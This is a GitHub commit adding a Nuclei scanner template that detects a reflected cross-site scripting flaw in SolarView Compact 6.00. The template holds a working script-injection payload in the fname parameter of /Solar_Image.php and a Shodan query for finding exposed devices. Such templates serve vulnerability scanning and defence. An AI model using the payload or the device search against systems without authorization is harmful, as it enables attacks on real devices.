Merge pull request #4982 from projectdiscovery/solarview-compact-xss

Create solarview-compact-xss.yaml
patch-1
Prince Chaddha 2022-08-03 19:03:21 +05:30 committed by GitHub
commit fe631c7d8b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 33 additions and 0 deletions

View File

@ -0,0 +1,33 @@
id: solarview-compact-xss
info:
name: SolarView Compact 6.00 - Cross-Site Scripting(XSS)
author: ritikchaddha
severity: medium
description: |
SolarView Compact v6.0 is vulnerable to cross-site scripting (XSS) vulnerability via `fname` at /Solar_Image.php.
metadata:
verified: true
shodan-query: http.html:"SolarView Compact"
tags: xss,solarview
requests:
- method: GET
path:
- '{{BaseURL}}/Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value="test"><script>alert(document.domain)</script>">'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200